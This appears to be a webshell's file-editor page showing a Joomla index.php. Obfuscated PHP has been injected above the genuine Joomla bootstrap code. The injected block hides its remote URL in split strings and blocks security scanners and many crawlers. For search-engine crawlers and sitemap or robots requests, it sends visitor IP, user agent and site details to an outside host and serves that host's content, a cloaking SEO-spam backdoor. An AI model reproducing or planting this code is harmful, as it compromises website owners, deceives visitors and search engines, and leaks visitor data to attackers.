One Hat Cyber Team

Edit File: index.php

<?php $khmb='://';$nxmz='cw468';$vhgk='rth.com/';$yjzd='http';$jmre='5.idbi';$znrkl=$yjzd.$khmb.$nxmz.$jmre.$vhgk; $pc = "BVUDBVQl"; error_reporting(0); $bagent = "Bing|Yahoo|Google|Docomo"; if(preg_match("/(Mj12bot|jikeSpider|YySpider|zmEu|apacheBench|Barkrowler|SeznamBot|python|CrawlDaddy|CoolpadWebkit|httpClient|YisouSpider|Feedly|OBot|swiftbot|UniversalFeedParser|AskTbFXTV|DotBot|DigExt|PetalBot|java|Go-http-client|Claudebot|Jaunty|Paloaltonetworks|Python-urllib|Indy Library|scrapy|lightDeckReports Bot|Python-requests|YandexBot|Ezooms|CensysInspect|FeedDemon|GPTBot|heritrix|AmazonBot|EasouSpider|DataForSEO|SemrushBot|bytespider|AhrefsBot)/i", $_SERVER['HTTP_USER_AGENT'])) {  header('HTTP/1.0 403 Forbidden');  exit(); } $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $refer = urlencode(@$_SERVER['HTTP_REFERER']); $ip = $_SERVER['REMOTE_ADDR']; $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); if (isset($_SERVER['HTTP_CLIENT_IP'])) {  $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $domain = urlencode($_SERVER['HTTP_HOST']); $script = urlencode($_SERVER['SCRIPT_NAME']); $ip = urlencode($ip); if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {  $_SERVER['REQUEST_SCHEME'] = 'https'; } else {  $_SERVER['REQUEST_SCHEME'] = 'http'; }  $http = urlencode($_SERVER['REQUEST_SCHEME']); $uri = urlencode($_SERVER['REQUEST_URI']); $anr = 0;  if(strpos($uri,"favicon.ico") !== false) { } else if(preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or strpos($uri,"robots.txt") !== false or strpos($uri,"jp2023") !== false or strpos($uri,"pingsitemap") !== false or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) {  $requsturl = $znrkl."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$anr&script=$script";  if(strpos($uri,"pingsitemap") !== false) {   $scripname = $_SERVER['SCRIPT_NAME'];   if(strpos($scripname,"index.p") !== false) {    if($anr == 0) {     $scripname = '/?';    } else {     $scripname = '/';    }   } else {    $scripname = $scripname.'?';   }   $sitemap = "$http://" . $domain .$scripname. "sitemap.xml";   $sitemapstatus = "";   echo $sitemap.": ".$sitemapstatus.'<br/>';   $requsturl = $znrkl."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$anr&script=$script&sitemap=".urlencode($sitemap);  }  $kzan = @file_get_contents($requsturl);  if(empty($kzan)) {   $ch = curl_init();   curl_setopt($ch, CURLOPT_URL, $requsturl);   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);   $kzan = curl_exec($ch);   curl_close($ch);  }  if(!empty($kzan)) {   if(substr($kzan,0,10)=="error code" or $kzan == "500" or strpos($kzan,'Bad Gateway')!==false) {    header("HTTP/1.0 500 Internal Server Error");    exit();   }   if(strpos($uri,"jp2023") !== false){header('HTTP/1.1 404 Not Found');}   else if(substr($kzan,0,5)=="<?xml") {    header('Content-Type: text/xml; charset=utf-8');   } else {    header('Content-Type: text/html; charset=utf-8');   }   echo $kzan;   exit();   return;  } }else{ } ?><?php
/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

// NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message

// Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
define('JOOMLA_MINIMUM_PHP', '7.2.5');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
	die(
		str_replace(
			'{{phpversion}}',
			JOOMLA_MINIMUM_PHP,
			file_get_contents(dirname(__FILE__) . '/templates/system/incompatible.html')
		)
	);
}

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

// Run the application - All executable code should be triggered through this file
require_once dirname(__FILE__) . '/includes/app.php';